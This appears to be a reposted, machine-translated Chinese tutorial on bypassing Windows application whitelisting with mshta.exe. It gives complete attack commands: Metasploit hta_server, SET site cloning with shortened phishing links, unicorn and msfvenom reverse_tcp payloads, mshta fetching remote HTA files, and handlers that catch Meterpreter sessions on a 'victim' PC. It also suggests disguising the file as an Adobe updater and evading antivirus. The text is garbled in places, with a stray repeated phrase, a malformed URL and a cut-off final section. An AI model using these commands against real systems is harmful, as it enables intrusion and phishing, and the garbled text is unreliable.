使用mshta.exe绕过应用程序白名单（多种方法）

很长时间以来wuaucltexe应用程序错误，HTA文件已被Web攻击或恶意软件下载程序用作恶意程序的一部分. HTA文件在网络安全领域广为人知，从红色和蓝色团队的角度来看，它是绕过应用程序白名单的宝贵“旧”方法之一. Mshta.exe运行Microsoft HTML应用程序宿主，Windows OS实用程序负责运行HTA（HTML应用程序）文件. 我们可以运行JavaScript或Visual HTML文件. 您可以使用Microsoft MSHTA.exe工具来解析这些文件.

最后，使用htaccess文件或其他基于浏览器分类的策略将有助于提高利用率. 使用HTA文件进行基于Web的攻击. HTA文件具有很大的灵活性. 您将有效地使其看起来像Adobe更新程序. 此外，在不使用少量SSL拦截/阻止的情况下，通过HTTPS限制HTA文件的发现率也很有用. HTA记录可帮助绕过防病毒软件，因为它们仍未被很好地识别. 最后但并非最不重要的一点是，HTA也可以用于网络钓鱼，以取代旧的Java小程序.

HTA攻击有多种方法，如下所示:

我们的第一种方法是在Metasploit中使用内置漏洞利用. 为此，请转到kali的终端并输入命令: msfconsole

metasploit包含“ hta Web服务器”模块，该模块生成恶意的hta文件. 该模块托管一个HTML应用程序（HTA），该应用程序在打开时将通过PowerShell运行有效负载. 当用户打开HTA文件时，IE将在执行漏洞利用之前两次提示用户. 当Metasploit启动时wuaucltexe应用程序错误，输入以下命令:

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

执行漏洞利用程序后，它将为您提供扩展名为.hta的URL链接. 同时，Metasploit将启动允许您共享文件的服务器. 您还必须在受害者的PC上运行此链接. 使用以下命令:

mshta.exe http://192.168.1.109:8080/pKz4Kk059Nq9.hta

HTA的常规文件扩展名是.hta. 我们使用上面的命令是因为HTA被视为扩展名为.exe的任何可执行文件，因此它由mshta.exe执行. 由mshta.exe启动hta时，它使用已签名的Microsoft二进制文件，使您可以调用PowerShell并将有效负载直接注入内存.

执行上述命令后，您将打开一个会话. 要访问会话，请输入以下命令:

sessions 1

所以您将有一个抄表会话

我们的HTA攻击方法由setoolkit执行. 为此，请在您的kali中打开setoolkit. 从菜单中选择第一个选项，输入1并选择第一个选项以选择“ Social-Engineering Attacks”.

从下一个给定菜单中，通过输入2并选择第二个选项来选择网站攻击厂商

从下一个给定菜单中输入选项8，以选择HTA攻击方法

一旦您为HTA攻击选择了选项8，则需要选择选项2，这将使您可以克隆站点. 选择选项2后，它将询问您要克隆的站点的URL. 我们在此处提供的必需网址:

输入网址后，它将要求您选择所需的仪表制造商类型. 输入3选择第三个抄表器反向tcp.

键入3并按Enter，该过程将开始，您将拥有一个处理程序（multi / handler）

现在将您的恶意IP转换为短链接，当您与受害者共享此链接时，这将向受害者显示更真实的攻击

当受害者浏览上述恶意链接时，文件将在保存后自动保存并在受害者的计算机上执行，如下图所示:

然后您将进行一个抄表器会话. 您可以使用命令“ sysinfo”来获取受害者计算机的基本信息

HTA攻击的下一种方法是使用unicorn的第三方工具. 神奇的独角兽工具由Dave Kennedy开发. 它是一种用户友好的工具，使我们可以通过将shellcode直接注入内存来执行HTA攻击. 该工具最好的部分是，它与Metasploit以及shellcode和cobalt strik兼容. 您可以在trustsec.com上详细查看该软件，也可以从GitHub下载该软件，或使用以下链接进行下载: https://github.com/trustedsec/unicorn

一旦下载魔术独角兽. 打开并输入Kali终端:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta

执行上述命令将开始创建.hta文件的过程. Appeal.hta文件将在文件夹hta-attack /中创建. 输入此文件夹并查看通过键入以下命令创建的文件列表:

cd hta_attack/
ls

现在，您可以看到.hta文件launcher.hta. 启动python服务器以共享此文件. 为此，请输入以下命令:

python -m SimpleHTTPServer 80

服务器启动并运行后，在受害者PC的cmd提示符下执行以下命令:

mshta.exe http://192.168.1.109/Launcher.hta

执行上述命令时，将在多重处理程序中激活会话. 要访问会话，请通过键盘输入以下命令:

sessions 1

HTA攻击的下一种方法是通过msfvenom手动创建.hta文件. 创建一个.hta文件，然后在kali终端中键入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta

执行上述命令将创建一个.hta文件，您可以使用该文件. 创建文件后，打开python服务器并通过输入以下内容将文件共享到受害者的PC:

python -m SimpleHTTPServer 80

输入以下命令以运行上述文件:

mshta.exe http:192.168.1.109/shell.hta

同时，在受害者的命令提示符下运行以上文件时，启动处理程序以接收会话. 要启动多重处理程序，请输入以下命令:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

因此，通过使用这种简单的方法，您将获得Meterpreter会话. 您可以使用sysinfo查看受害者计算机的基本信息.

对于我们的下一个msbuild攻击方法，我们将使用帝国. 帝国是一个后发展框架. 到目前为止，我们已经将XML工具与Metasploit进行了匹配，但是在这种方法中，我们将使用empire框架. 它只是一个基于python的PowerShell Windows代理，这使其非常有用. Empire是由@ harmj0y，@ sixdub，@ enigam0x3，rvrsh3ll，@ killswitch_gui和@xorrier开发的. 您可以从以下位置下载此框架.

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-185635-1.html